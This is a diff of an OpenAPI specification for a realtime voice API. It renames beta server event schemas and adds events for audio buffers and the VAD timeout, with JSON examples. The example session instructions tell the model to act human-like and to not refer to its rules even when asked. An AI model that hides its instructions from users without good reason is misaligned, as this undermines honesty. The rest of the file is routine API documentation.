description: "Sent by the server when in `server_vad` mode to indicate that speech has been \ndetected in the audio buffer. This can happen any time audio is added to the \nbuffer (unless speech is already detected). The client may want to use this \nevent to interrupt audio playback or provide visual feedback to the user. \n\nThe client should expect to receive a `input_audio_buffer.speech_stopped` event \nwhen speech stops. The `item_id` property is the ID of the user message item \nthat will be created when speech stops and will also be included in the \n`input_audio_buffer.speech_stopped` event (unless the client manually commits \nthe audio buffer during VAD activation).\n"
properties:
@@ -45428,7 +52211,7 @@ components:
"audio_start_ms": 1000,
"item_id": "msg_003"
}
- RealtimeBetaServerEventInputAudioBufferSpeechStopped:
+ RealtimeServerEventInputAudioBufferSpeechStopped:
type: object
description: "Returned in `server_vad` mode when the server detects the end of speech in \nthe audio buffer. The server will also send an `conversation.item.created` \nevent with the user message item that is created from the audio buffer.\n"
properties:
@@ -45460,7 +52243,57 @@ components:
"audio_end_ms": 2000,
"item_id": "msg_003"
}
- RealtimeBetaServerEventMCPListToolsCompleted:
+ RealtimeServerEventInputAudioBufferTimeoutTriggered:
+ type: object
+ description: |
+ Returned when the Server VAD timeout is triggered for the input audio buffer. This is configured
+ with `idle_timeout_ms` in the `turn_detection` settings of the session, and it indicates that
+ there hasn't been any speech detected for the configured duration.
+
+ The `audio_start_ms` and `audio_end_ms` fields indicate the segment of audio after the last
+ model response up to the triggering time, as an offset from the beginning of audio written
+ to the input audio buffer. This means it demarcates the segment of audio that was silent and
+ the difference between the start and end values will roughly match the configured timeout.
+
+ The empty audio will be committed to the conversation as an `input_audio` item (there will be a
+ `input_audio_buffer.committed` event) and a model response will be generated. There may be speech
+ that didn't trigger VAD but is still detected by the model, so the model may respond with
+ something relevant to the conversation or a prompt to continue speaking.
+ properties:
+ event_id:
+ type: string
+ description: The unique ID of the server event.
+ type:
+ x-stainless-const: true
+ description: The event type, must be `input_audio_buffer.timeout_triggered`.
+ const: input_audio_buffer.timeout_triggered
+ audio_start_ms:
+ type: integer
+ description: Millisecond offset of audio written to the input audio buffer that was after the playback time of the last model response.
+ audio_end_ms:
+ type: integer
+ description: Millisecond offset of audio written to the input audio buffer at the time the timeout was triggered.
+ item_id:
+ type: string
+ description: The ID of the item associated with this segment.
+ required:
+ - event_id
+ - type
+ - audio_start_ms
+ - audio_end_ms
+ - item_id
+ x-oaiMeta:
+ name: input_audio_buffer.timeout_triggered
+ group: realtime
+ example: |
+ {
+ "type":"input_audio_buffer.timeout_triggered",
+ "event_id":"event_CEKKrf1KTGvemCPyiJTJ2",
+ "audio_start_ms":13216,
+ "audio_end_ms":19232,
+ "item_id":"item_CEKKrWH0GiwN0ET97NUZc"
+ }
+ RealtimeServerEventMCPListToolsCompleted:
type: object
description: Returned when listing MCP tools has completed for an item.
properties:
@@ -45487,7 +52320,7 @@ components:
"type": "mcp_list_tools.completed",
"item_id": "mcp_list_tools_001"
}
- RealtimeBetaServerEventMCPListToolsFailed:
+ RealtimeServerEventMCPListToolsFailed:
type: object
description: Returned when listing MCP tools has failed for an item.
properties:
@@ -45514,7 +52347,7 @@ components:
"type": "mcp_list_tools.failed",
"item_id": "mcp_list_tools_001"
}
- RealtimeBetaServerEventMCPListToolsInProgress:
+ RealtimeServerEventMCPListToolsInProgress:
type: object
description: Returned when listing MCP tools is in progress for an item.
properties:
@@ -45541,7 +52374,101 @@ components:
"type": "mcp_list_tools.in_progress",
"item_id": "mcp_list_tools_001"
}
- RealtimeBetaServerEventRateLimitsUpdated:
+ RealtimeServerEventOutputAudioBufferCleared:
+ type: object
+ description: |
+ **WebRTC/SIP Only:** Emitted when the output audio buffer is cleared. This happens either in VAD
+ mode when the user has interrupted (`input_audio_buffer.speech_started`),
+ or when the client has emitted the `output_audio_buffer.clear` event to manually
+ cut off the current audio response.
+ [Learn more](https://developers.openai.com/api/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
+ properties:
+ event_id:
+ type: string
+ description: The unique ID of the server event.
+ type:
+ x-stainless-const: true
+ description: The event type, must be `output_audio_buffer.cleared`.
+ const: output_audio_buffer.cleared
+ response_id:
+ type: string
+ description: The unique ID of the response that produced the audio.
+ required:
+ - event_id
+ - type
+ - response_id
+ x-oaiMeta:
+ name: output_audio_buffer.cleared
+ group: realtime
+ example: |
+ {
+ "event_id": "event_abc123",
+ "type": "output_audio_buffer.cleared",
+ "response_id": "resp_abc123"
+ }
+ RealtimeServerEventOutputAudioBufferStarted:
+ type: object
+ description: |
+ **WebRTC/SIP Only:** Emitted when the server begins streaming audio to the client. This event is
+ emitted after an audio content part has been added (`response.content_part.added`)
+ to the response.
+ [Learn more](https://developers.openai.com/api/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
+ properties:
+ event_id:
+ type: string
+ description: The unique ID of the server event.
+ type:
+ x-stainless-const: true
+ description: The event type, must be `output_audio_buffer.started`.
+ const: output_audio_buffer.started
+ response_id:
+ type: string
+ description: The unique ID of the response that produced the audio.
+ required:
+ - event_id
+ - type
+ - response_id
+ x-oaiMeta:
+ name: output_audio_buffer.started
+ group: realtime
+ example: |
+ {
+ "event_id": "event_abc123",
+ "type": "output_audio_buffer.started",
+ "response_id": "resp_abc123"
+ }
+ RealtimeServerEventOutputAudioBufferStopped:
+ type: object
+ description: |
+ **WebRTC/SIP Only:** Emitted when the output audio buffer has been completely drained on the server,
+ and no more audio is forthcoming. This event is emitted after the full response
+ data has been sent to the client (`response.done`).
+ [Learn more](https://developers.openai.com/api/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
+ properties:
+ event_id:
+ type: string
+ description: The unique ID of the server event.
+ type:
+ x-stainless-const: true
+ description: The event type, must be `output_audio_buffer.stopped`.
+ const: output_audio_buffer.stopped
+ response_id:
+ type: string
+ description: The unique ID of the response that produced the audio.
+ required:
+ - event_id
+ - type
+ - response_id
+ x-oaiMeta:
+ name: output_audio_buffer.stopped
+ group: realtime
+ example: |
+ {
+ "event_id": "event_abc123",
+ "type": "output_audio_buffer.stopped",
+ "response_id": "resp_abc123"
+ }
+ RealtimeServerEventRateLimitsUpdated:
type: object
description: "Emitted at the beginning of a Response to indicate the updated rate limits. \nWhen a Response is created some tokens will be \"reserved\" for the output \ntokens, the rate limits shown here reflect that reservation, which is then \nadjusted accordingly once the Response is completed.\n"
properties:
@@ -45600,7 +52527,7 @@ components:
}
]
}
- RealtimeBetaServerEventResponseAudioDelta:
+ RealtimeServerEventResponseAudioDelta:
type: object
description: Returned when the model-generated audio is updated.
properties:
@@ -45647,7 +52574,7 @@ components:
"content_index": 0,
"delta": "Base64EncodedAudioDelta"
}
- RealtimeBetaServerEventResponseAudioDone:
+ RealtimeServerEventResponseAudioDone:
type: object
description: |
Returned when the model-generated audio is done. Also emitted when a Response
@@ -45691,7 +52618,7 @@ components:
"output_index": 0,
"content_index": 0
}
- RealtimeBetaServerEventResponseAudioTranscriptDelta:
+ RealtimeServerEventResponseAudioTranscriptDelta:
type: object
description: |
Returned when the model-generated transcription of audio output is updated.
@@ -45739,7 +52666,7 @@ components:
"content_index": 0,
"delta": "Hello, how can I a"
}
- RealtimeBetaServerEventResponseAudioTranscriptDone:
+ RealtimeServerEventResponseAudioTranscriptDone:
type: object
description: |
Returned when the model-generated transcription of audio output is done
@@ -45789,7 +52716,7 @@ components:
"content_index": 0,
"transcript": "Hello, how can I assist you today?"
}
- RealtimeBetaServerEventResponseContentPartAdded:
+ RealtimeServerEventResponseContentPartAdded:
type: object
description: |
Returned when a new content part is added to an assistant message item during
@@ -45857,7 +52784,7 @@ components:
"text": ""
}
}
- RealtimeBetaServerEventResponseContentPartDone:
+ RealtimeServerEventResponseContentPartDone:
type: object
description: |
Returned when a content part is done streaming in an assistant message item.
@@ -45925,7 +52852,7 @@ components:
"text": "Sure, I can help with that."
}
}
- RealtimeBetaServerEventResponseCreated:
+ RealtimeServerEventResponseCreated:
type: object
description: |
Returned when a new Response is created. The first event of response creation,
@@ -45939,7 +52866,7 @@ components:
description: The event type, must be `response.created`.
const: response.created
response:
- $ref: '#/components/schemas/RealtimeBetaResponse'
+ $ref: '#/components/schemas/RealtimeResponse'
required:
- event_id
- type
@@ -45974,11 +52901,10 @@ components:
"usage": null,
"metadata": null
},
- "timestamp": "2:30:35 PM"
}
- RealtimeBetaServerEventResponseDone:
+ RealtimeServerEventResponseDone:
type: object
- description: "Returned when a Response is done streaming. Always emitted, no matter the \nfinal state. The Response object included in the `response.done` event will \ninclude all output Items in the Response but will omit the raw audio data.\n"
+ description: "Returned when a Response is done streaming. Always emitted, no matter the \nfinal state. The Response object included in the `response.done` event will \ninclude all output Items in the Response but will omit the raw audio data.\n\nClients should check the `status` field of the Response to determine if it was successful\n(`completed`) or if there was another outcome: `cancelled`, `failed`, or `incomplete`.\n\nA response will contain all output items that were generated during the response, excluding\nany audio content.\n"
properties:
event_id:
type: string
@@ -45988,7 +52914,7 @@ components:
description: The event type, must be `response.done`.
const: response.done
response:
- $ref: '#/components/schemas/RealtimeBetaResponse'
+ $ref: '#/components/schemas/RealtimeResponse'
required:
- event_id
- type
@@ -45998,49 +52924,65 @@ components:
group: realtime
example: |
{
- "event_id": "event_3132",
- "type": "response.done",
- "response": {
- "id": "resp_001",
- "object": "realtime.response",
+ "type": "response.done",
+ "event_id": "event_CCXHxcMy86rrKhBLDdqCh",
+ "response": {
+ "object": "realtime.response",
+ "id": "resp_CCXHw0UJld10EzIUXQCNh",
+ "status": "completed",
+ "status_details": null,
+ "output": [
+ {
+ "id": "item_CCXHwGjjDUfOXbiySlK7i",
+ "type": "message",
"status": "completed",
- "status_details": null,
- "output": [
- {
- "id": "msg_006",
- "object": "realtime.item",
- "type": "message",
- "status": "completed",
- "role": "assistant",
- "content": [
- {
- "type": "text",
- "text": "Sure, how can I assist you today?"
- }
- ]
- }
- ],
- "usage": {
- "total_tokens":275,
- "input_tokens":127,
- "output_tokens":148,
- "input_token_details": {
- "cached_tokens":384,
- "text_tokens":119,
- "audio_tokens":8,
- "cached_tokens_details": {
- "text_tokens": 128,
- "audio_tokens": 256
- }
- },
- "output_token_details": {
- "text_tokens":36,
- "audio_tokens":112
- }
+ "role": "assistant",
+ "content": [
+ {
+ "type": "output_audio",
+ "transcript": "Loud and clear! I can hear you perfectly. How can I help you today?"
+ }
+ ]
+ }
+ ],
+ "conversation_id": "conv_CCXHsurMKcaVxIZvaCI5m",
+ "output_modalities": [
+ "audio"
+ ],
+ "max_output_tokens": "inf",
+ "audio": {
+ "output": {
+ "format": {
+ "type": "audio/pcm",
+ "rate": 24000
+ },
+ "voice": "alloy"
+ }
+ },
+ "usage": {
+ "total_tokens": 253,
+ "input_tokens": 132,
+ "output_tokens": 121,
+ "input_token_details": {
+ "text_tokens": 119,
+ "audio_tokens": 13,
+ "image_tokens": 0,
+ "cached_tokens": 64,
+ "cached_tokens_details": {
+ "text_tokens": 64,
+ "audio_tokens": 0,
+ "image_tokens": 0
}
- }
+ },
+ "output_token_details": {
+ "text_tokens": 30,
+ "audio_tokens": 91
+ }
+ },
+ "metadata": null
+ }
}
- RealtimeBetaServerEventResponseFunctionCallArgumentsDelta:
+ RealtimeServerEventResponseFunctionCallArgumentsDelta:
type: object
description: |
Returned when the model-generated function call arguments are updated.
@@ -46089,7 +53031,7 @@ components:
"call_id": "call_001",
"delta": "{\"location\": \"San\""
}
- RealtimeBetaServerEventResponseFunctionCallArgumentsDone:
+ RealtimeServerEventResponseFunctionCallArgumentsDone:
type: object
description: |
Returned when the model-generated function call arguments are done streaming.
@@ -46144,7 +53086,7 @@ components:
"name": "get_weather",
"arguments": "{\"location\": \"San Francisco\"}"
}
- RealtimeBetaServerEventResponseMCPCallArgumentsDelta:
+ RealtimeServerEventResponseMCPCallArgumentsDelta:
type: object
description: Returned when MCP tool call arguments are updated during response generation.
properties:
@@ -46191,7 +53133,7 @@ components:
"output_index": 0,
"delta": "{\"partial\":true}"
}
- RealtimeBetaServerEventResponseMCPCallArgumentsDone:
+ RealtimeServerEventResponseMCPCallArgumentsDone:
type: object
description: Returned when MCP tool call arguments are finalized during response generation.
properties:
@@ -46233,7 +53175,7 @@ components:
"output_index": 0,
"arguments": "{\"q\":\"docs\"}"
}
- RealtimeBetaServerEventResponseMCPCallCompleted:
+ RealtimeServerEventResponseMCPCallCompleted:
type: object
description: Returned when an MCP tool call has completed successfully.
properties:
@@ -46265,7 +53207,7 @@ components:
"output_index": 0,
"item_id": "mcp_call_001"
}
- RealtimeBetaServerEventResponseMCPCallFailed:
+ RealtimeServerEventResponseMCPCallFailed:
type: object
description: Returned when an MCP tool call has failed.
properties:
@@ -46297,7 +53239,7 @@ components:
"output_index": 0,
"item_id": "mcp_call_001"
}
- RealtimeBetaServerEventResponseMCPCallInProgress:
+ RealtimeServerEventResponseMCPCallInProgress:
type: object
description: Returned when an MCP tool call has started and is in progress.
properties:
@@ -46329,7 +53271,7 @@ components:
"output_index": 0,
"item_id": "mcp_call_001"
}
- RealtimeBetaServerEventResponseOutputItemAdded:
+ RealtimeServerEventResponseOutputItemAdded:
type: object
description: Returned when a new Item is created during Response generation.
properties:
@@ -46372,7 +53314,7 @@ components:
"content": []
}
}
- RealtimeBetaServerEventResponseOutputItemDone:
+ RealtimeServerEventResponseOutputItemDone:
type: object
description: "Returned when an Item is done streaming. Also emitted when a Response is \ninterrupted, incomplete, or cancelled.\n"
properties:
@@ -46420,7 +53362,7 @@ components:
]
}
}
- RealtimeBetaServerEventResponseTextDelta:
+ RealtimeServerEventResponseTextDelta:
type: object
description: Returned when the text value of an "output_text" content part is updated.
properties:
@@ -46467,7 +53409,7 @@ components:
"content_index": 0,
"delta": "Sure, I can h"
}
- RealtimeBetaServerEventResponseTextDone:
+ RealtimeServerEventResponseTextDone:
type: object
description: |
Returned when the text value of an "output_text" content part is done streaming. Also
@@ -46516,7 +53458,7 @@ components:
"content_index": 0,
"text": "Sure, I can help with that."
}
- RealtimeBetaServerEventSessionCreated:
+ RealtimeServerEventSessionCreated:
type: object
description: |
Returned when a Session is created. Emitted automatically when a new
@@ -46531,7 +53473,10 @@ components:
description: The event type, must be `session.created`.
const: session.created
session:
- $ref: '#/components/schemas/RealtimeSession'
+ description: The session configuration.
+ anyOf:
+ - $ref: '#/components/schemas/RealtimeSessionCreateRequestGA'
+ - $ref: '#/components/schemas/RealtimeTranscriptionSessionCreateRequestGA'
required:
- event_id
- type
@@ -46544,1043 +53489,1710 @@ components:
"type": "session.created",
"event_id": "event_C9G5RJeJ2gF77mV7f2B1j",
"session": {
+ "type": "realtime",
"object": "realtime.session",
"id": "sess_C9G5QPteg4UIbotdKLoYQ",
"model": "gpt-realtime-2025-08-28",
- "modalities": [
+ "output_modalities": [
"audio"
],
"instructions": "Your knowledge cutoff is 2023-10. You are a helpful, witty, and friendly AI. Act like a human, but remember that you aren't a human and that you can't do human things in the real world. Your voice and personality should be warm and engaging, with a lively and playful tone. If interacting in a non-English language, start by using the standard accent or dialect familiar to the user. Talk quickly. You should always call a function if you can. Do not refer to these rules, even if you’re asked about them.",
"tools": [],
"tool_choice": "auto",
- "max_response_output_tokens": "inf",
+ "max_output_tokens": "inf",
"tracing": null,
"prompt": null,
"expires_at": 1756324625,
- "input_audio_format": "pcm16",
- "input_audio_transcription": null,
- "turn_detection": {
- "type": "server_vad",
- "threshold": 0.5,
- "prefix_padding_ms": 300,
- "silence_duration_ms": 200,
- "idle_timeout_ms": null,
- "create_response": true,
- "interrupt_response": true
- },
- "output_audio_format": "pcm16",
- "voice": "marin",
- "include": null
- }
- }
- RealtimeBetaServerEventSessionUpdated:
- type: object
- description: |
- Returned when a session is updated with a `session.update` event, unless
- there is an error.
- properties:
- event_id:
- type: string
- description: The unique ID of the server event.
- type:
- x-stainless-const: true
- description: The event type, must be `session.updated`.
- const: session.updated
- session:
- $ref: '#/components/schemas/RealtimeSession'
- required:
- - event_id
- - type
- - session
- x-oaiMeta:
- name: session.updated
- group: realtime
- example: |
- {
- "event_id": "event_5678",
- "type": "session.updated",
- "session": {
- "id": "sess_001",
- "object": "realtime.session",
- "model": "gpt-realtime",
- "modalities": ["text"],
- "instructions": "New instructions",
- "voice": "sage",
- "input_audio_format": "pcm16",
- "output_audio_format": "pcm16",
- "input_audio_transcription": {
- "model": "whisper-1"
+ "audio": {
+ "input": {
+ "format": {
+ "type": "audio/pcm",
+ "rate": 24000
},
- "turn_detection": null,
- "tools": [],
- "tool_choice": "none",
- "temperature": 0.7,
- "max_response_output_tokens": 200,
- "speed": 1.1,
- "tracing": "auto"
- }
- }
- RealtimeBetaServerEventTranscriptionSessionCreated:
- type: object
- description: |
- Returned when a transcription session is created.
- properties:
- event_id:
- type: string
- description: The unique ID of the server event.
- type:
- x-stainless-const: true
- description: The event type, must be `transcription_session.created`.
- const: transcription_session.created
- session:
- $ref: '#/components/schemas/RealtimeTranscriptionSessionCreateResponse'
- required:
- - event_id
- - type
- - session
- x-oaiMeta:
- name: transcription_session.created
- group: realtime
- example: |
- {
- "event_id": "event_5566",
- "type": "transcription_session.created",
- "session": {
- "id": "sess_001",
- "object": "realtime.transcription_session",
- "input_audio_format": "pcm16",
- "input_audio_transcription": {
- "model": "gpt-4o-transcribe",
- "prompt": "",
- "language": ""
- },
- "turn_detection": {
- "type": "server_vad",
- "threshold": 0.5,
- "prefix_padding_ms": 300,
- "silence_duration_ms": 500
- },
- "input_audio_noise_reduction": {
- "type": "near_field"
- },
- "include": []
- }
- }
- RealtimeBetaServerEventTranscriptionSessionUpdated:
- type: object
- description: "Returned when a transcription session is updated with a `transcription_session.update` event, unless \nthere is an error.\n"
- properties:
- event_id:
- type: string
- description: The unique ID of the server event.
- type:
- x-stainless-const: true
- description: The event type, must be `transcription_session.updated`.
- const: transcription_session.updated
- session:
- $ref: '#/components/schemas/RealtimeTranscriptionSessionCreateResponse'
- required:
- - event_id
- - type
- - session
- x-oaiMeta:
- name: transcription_session.updated
- group: realtime
- example: |
- {
- "event_id": "event_5678",
- "type": "transcription_session.updated",
- "session": {
- "id": "sess_001",
- "object": "realtime.transcription_session",
- "input_audio_format": "pcm16",
- "input_audio_transcription": {
- "model": "gpt-4o-transcribe",
- "prompt": "",
- "language": ""
- },
- "turn_detection": {
- "type": "server_vad",
- "threshold": 0.5,
- "prefix_padding_ms": 300,
- "silence_duration_ms": 500,
- "create_response": true,
- // "interrupt_response": false -- this will NOT be returned
- },
- "input_audio_noise_reduction": {
- "type": "near_field"
- },
- "include": [
- "item.input_audio_transcription.avg_logprob",
- ],
- }
- }
- RealtimeCallCreateRequest:
- title: Realtime call creation request
- type: object
- description: |-
- Parameters required to initiate a realtime call and receive the SDP answer
- needed to complete a WebRTC peer connection. Provide an SDP offer generated
- by your client and optionally configure the session that will answer the call.
- required:
- - sdp
- properties:
- sdp:
- type: string
- description: WebRTC Session Description Protocol (SDP) offer generated by the caller.
- session:
- title: Session configuration
- allOf:
- - $ref: '#/components/schemas/RealtimeSessionCreateRequestGA'
- description: |-
- Optional session configuration to apply before the realtime session is
- created. Use the same parameters you would send in a [`create client secret`](https://developers.openai.com/api/reference/resources/realtime/subresources/client_secrets/methods/create)
- request.
- additionalProperties: false
- RealtimeCallReferRequest:
- title: Realtime call refer request
- type: object
- description: |-
- Parameters required to transfer a SIP call to a new destination using the
- Realtime API.
- required:
- - target_uri
- properties:
- target_uri:
- type: string
- description: |-
- URI that should appear in the SIP Refer-To header. Supports values like
- `tel:+14155550123` or `sip:agent@example.com`.
- example: tel:+14155550123
- additionalProperties: false
- RealtimeCallRejectRequest:
- title: Realtime call reject request
- type: object
- description: Parameters used to decline an incoming SIP call handled by the Realtime API.
- properties:
- status_code:
- type: integer
- description: |-
- SIP response code to send back to the caller. Defaults to `603` (Decline)
- when omitted.
- example: 486
- additionalProperties: false
- RealtimeClientEvent:
- discriminator:
- propertyName: type
- description: |
- A realtime client event.
- anyOf:
- - $ref: '#/components/schemas/RealtimeClientEventConversationItemCreate'
- - $ref: '#/components/schemas/RealtimeClientEventConversationItemDelete'
- - $ref: '#/components/schemas/RealtimeClientEventConversationItemRetrieve'
- - $ref: '#/components/schemas/RealtimeClientEventConversationItemTruncate'
- - $ref: '#/components/schemas/RealtimeClientEventInputAudioBufferAppend'
- - $ref: '#/components/schemas/RealtimeClientEventInputAudioBufferClear'
- - $ref: '#/components/schemas/RealtimeClientEventOutputAudioBufferClear'
- - $ref: '#/components/schemas/RealtimeClientEventInputAudioBufferCommit'
- - $ref: '#/components/schemas/RealtimeClientEventResponseCancel'
- - $ref: '#/components/schemas/RealtimeClientEventResponseCreate'
- - $ref: '#/components/schemas/RealtimeClientEventSessionUpdate'
- RealtimeClientEventConversationItemCreate:
- type: object
- description: "Add a new Item to the Conversation's context, including messages, function \ncalls, and function call responses. This event can be used both to populate a \n\"history\" of the conversation and to add new items mid-stream, but has the \ncurrent limitation that it cannot populate assistant audio messages.\n\nIf successful, the server will respond with a `conversation.item.created` \nevent, otherwise an `error` event will be sent.\n"
- properties:
- event_id:
- type: string
- maxLength: 512
- description: Optional client-generated ID used to identify this event.
- type:
- x-stainless-const: true
- description: The event type, must be `conversation.item.create`.
- const: conversation.item.create
- previous_item_id:
- type: string
- description: |
- The ID of the preceding item after which the new item will be inserted. If not set, the new item will be appended to the end of the conversation.
-
- If set to `root`, the new item will be added to the beginning of the conversation.
-
- If set to an existing ID, it allows an item to be inserted mid-conversation. If the ID cannot be found, an error will be returned and the item will not be added.
- item:
- $ref: '#/components/schemas/RealtimeConversationItem'
- required:
- - type
- - item
- x-oaiMeta:
- name: conversation.item.create
- group: realtime
- example: |
- {
- "type": "conversation.item.create",
- "item": {
- "type": "message",
- "role": "user",
- "content": [
- {
- "type": "input_text",
- "text": "hi"
- }
- ]
- }
- }
- RealtimeClientEventConversationItemDelete:
- type: object
- description: "Send this event when you want to remove any item from the conversation \nhistory. The server will respond with a `conversation.item.deleted` event, \nunless the item does not exist in the conversation history, in which case the \nserver will respond with an error.\n"
- properties:
- event_id:
- type: string
- maxLength: 512
- description: Optional client-generated ID used to identify this event.
- type:
- x-stainless-const: true
- description: The event type, must be `conversation.item.delete`.
- const: conversation.item.delete
- item_id:
- type: string
- description: The ID of the item to delete.
- required:
- - type
- - item_id
- x-oaiMeta:
- name: conversation.item.delete
- group: realtime
- example: |
- {
- "event_id": "event_901",
- "type": "conversation.item.delete",
- "item_id": "item_003"
+ "transcription": null,
+ "noise_reduction": null,
+ "turn_detection": {
+ "type": "server_vad",
+ "threshold": 0.5,
+ "prefix_padding_ms": 300,
+ "silence_duration_ms": 200,
+ "idle_timeout_ms": null,
+ "create_response": true,
+ "interrupt_response": true
+ }
+ },
+ "output": {
+ "format": {
+ "type": "audio/pcm",
+ "rate": 24000
+ },
+ "voice": "marin",
+ "speed": 1
+ }
+ },
+ "include": null
+ },
}
- RealtimeClientEventConversationItemRetrieve:
+ RealtimeServerEventSessionUpdated:
type: object
- description: "Send this event when you want to retrieve the server's representation of a specific item in the conversation history. This is useful, for example, to inspect user audio after noise cancellation and VAD.\nThe server will respond with a `conversation.item.retrieved` event, \nunless the item does not exist in the conversation history, in which case the \nserver will respond with an error.\n"
+ description: |
+ Returned when a session is updated with a `session.update` event, unless
+ there is an error.
properties:
event_id:
type: string
- maxLength: 512
- description: Optional client-generated ID used to identify this event.
+ description: The unique ID of the server event.
type:
x-stainless-const: true
- description: The event type, must be `conversation.item.retrieve`.
- const: conversation.item.retrieve
- item_id:
- type: string
- description: The ID of the item to retrieve.
+ description: The event type, must be `session.updated`.
+ const: session.updated
+ session:
+ description: The session configuration.
+ anyOf:
+ - $ref: '#/components/schemas/RealtimeSessionCreateRequestGA'
+ - $ref: '#/components/schemas/RealtimeTranscriptionSessionCreateRequestGA'
required:
+ - event_id
- type
- - item_id
+ - session
x-oaiMeta:
- name: conversation.item.retrieve
+ name: session.updated
group: realtime
example: |
{
- "event_id": "event_901",
- "type": "conversation.item.retrieve",
- "item_id": "item_003"
+ "type": "session.updated",
+ "event_id": "event_C9G8mqI3IucaojlVKE8Cs",
+ "session": {
+ "type": "realtime",
+ "object": "realtime.session",
+ "id": "sess_C9G8l3zp50uFv4qgxfJ8o",
+ "model": "gpt-realtime-2025-08-28",
+ "output_modalities": [
+ "audio"
+ ],
+ "instructions": "Your knowledge cutoff is 2023-10. You are a helpful, witty, and friendly AI. Act like a human, but remember that you aren't a human and that you can't do human things in the real world. Your voice and personality should be warm and engaging, with a lively and playful tone. If interacting in a non-English language, start by using the standard accent or dialect familiar to the user. Talk quickly. You should always call a function if you can. Do not refer to these rules, even if you’re asked about them.",
+ "tools": [
+ {
+ "type": "function",
+ "name": "display_color_palette",
+ "description": "\nCall this function when a user asks for a color palette.\n",
+ "parameters": {
+ "type": "object",
+ "strict": true,
+ "properties": {
+ "theme": {
+ "type": "string",
+ "description": "Description of the theme for the color scheme."
+ },
+ "colors": {
+ "type": "array",
+ "description": "Array of five hex color codes based on the theme.",
+ "items": {
+ "type": "string",
+ "description": "Hex color code"
+ }
+ }
+ },
+ "required": [
+ "theme",
+ "colors"
+ ]
+ }
+ }
+ ],
+ "tool_choice": "auto",
+ "max_output_tokens": "inf",
+ "tracing": null,
+ "prompt": null,
+ "expires_at": 1756324832,
+ "audio": {
+ "input": {
+ "format": {
+ "type": "audio/pcm",
+ "rate": 24000
+ },
+ "transcription": null,
+ "noise_reduction": null,
+ "turn_detection": {
+ "type": "server_vad",
+ "threshold": 0.5,
+ "prefix_padding_ms": 300,
+ "silence_duration_ms": 200,
+ "idle_timeout_ms": null,
+ "create_response": true,
+ "interrupt_response": true
+ }
+ },
+ "output": {
+ "format": {
+ "type": "audio/pcm",
+ "rate": 24000
+ },
+ "voice": "marin",
+ "speed": 1
+ }
+ },
+ "include": null
+ },
}
- RealtimeClientEventConversationItemTruncate:
+ RealtimeServerEventTranscriptionSessionUpdated:
type: object
- description: "Send this event to truncate a previous assistant message’s audio. The server \nwill produce audio faster than realtime, so this event is useful when the user \ninterrupts to truncate audio that has already been sent to the client but not \nyet played. This will synchronize the server's understanding of the audio with \nthe client's playback.\n\nTruncating audio will delete the server-side text transcript to ensure there \nis not text in the context that hasn't been heard by the user.\n\nIf successful, the server will respond with a `conversation.item.truncated` \nevent. \n"
+ description: "Returned when a transcription session is updated with a `transcription_session.update` event, unless \nthere is an error.\n"
properties:
event_id:
type: string
- maxLength: 512
- description: Optional client-generated ID used to identify this event.
+ description: The unique ID of the server event.
type:
x-stainless-const: true
- description: The event type, must be `conversation.item.truncate`.
- const: conversation.item.truncate
- item_id:
- type: string
- description: "The ID of the assistant message item to truncate. Only assistant message \nitems can be truncated.\n"
- content_index:
- type: integer
- description: The index of the content part to truncate. Set this to `0`.
- audio_end_ms:
- type: integer
- description: "Inclusive duration up to which audio is truncated, in milliseconds. If \nthe audio_end_ms is greater than the actual audio duration, the server \nwill respond with an error.\n"
+ description: The event type, must be `transcription_session.updated`.
+ const: transcription_session.updated
+ session:
+ $ref: '#/components/schemas/RealtimeTranscriptionSessionCreateResponse'
required:
+ - event_id
- type
- - item_id
- - content_index
- - audio_end_ms
+ - session
x-oaiMeta:
- name: conversation.item.truncate
+ name: transcription_session.updated
group: realtime
example: |
{
- "event_id": "event_678",
- "type": "conversation.item.truncate",
- "item_id": "item_002",
- "content_index": 0,
- "audio_end_ms": 1500
+ "event_id": "event_5678",
+ "type": "transcription_session.updated",
+ "session": {
+ "id": "sess_001",
+ "object": "realtime.transcription_session",
+ "input_audio_format": "pcm16",
+ "input_audio_transcription": {
+ "model": "gpt-4o-transcribe",
+ "prompt": "",
+ "language": ""
+ },
+ "turn_detection": {
+ "type": "server_vad",
+ "threshold": 0.5,
+ "prefix_padding_ms": 300,
+ "silence_duration_ms": 500,
+ "create_response": true,
+ // "interrupt_response": false -- this will NOT be returned
+ },
+ "input_audio_noise_reduction": {
+ "type": "near_field"
+ },
+ "include": [
+ "item.input_audio_transcription.avg_logprob",
+ ],
+ }
}
- RealtimeClientEventInputAudioBufferAppend:
+ RealtimeSession:
type: object
- description: "Send this event to append audio bytes to the input audio buffer. The audio \nbuffer is temporary storage you can write to and later commit. A \"commit\" will create a new\nuser message item in the conversation history from the buffer content and clear the buffer.\nInput audio transcription (if enabled) will be generated when the buffer is committed.\n\nIf VAD is enabled the audio buffer is used to detect speech and the server will decide \nwhen to commit. When Server VAD is disabled, you must commit the audio buffer\nmanually. Input audio noise reduction operates on writes to the audio buffer.\n\nThe client may choose how much audio to place in each event up to a maximum \nof 15 MiB, for example streaming smaller chunks from the client may allow the \nVAD to be more responsive. Unlike most other client events, the server will \nnot send a confirmation response to this event.\n"
+ description: Realtime session object for the beta interface.
properties:
- event_id:
+ id:
type: string
- maxLength: 512
- description: Optional client-generated ID used to identify this event.
- type:
- x-stainless-const: true
- description: The event type, must be `input_audio_buffer.append`.
- const: input_audio_buffer.append
- audio:
+ description: |
+ Unique identifier for the session that looks like `sess_1234567890abcdef`.
+ object:
+ type: string
+ enum:
+ - realtime.session
+ description: The object type. Always `realtime.session`.
+ modalities:
+ description: |
+ The set of modalities the model can respond with. To disable audio,
+ set this to ["text"].
+ items:
+ type: string
+ enum:
+ - text
+ - audio
+ model:
+ description: |
+ The Realtime model used for this session.
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - gpt-realtime
+ - gpt-realtime-1.5
+ - gpt-realtime-2025-08-28
+ - gpt-4o-realtime-preview
+ - gpt-4o-realtime-preview-2024-10-01
+ - gpt-4o-realtime-preview-2024-12-17
+ - gpt-4o-realtime-preview-2025-06-03
+ - gpt-4o-mini-realtime-preview
+ - gpt-4o-mini-realtime-preview-2024-12-17
+ - gpt-realtime-mini
+ - gpt-realtime-mini-2025-10-06
+ - gpt-realtime-mini-2025-12-15
+ - gpt-audio-1.5
+ - gpt-audio-mini
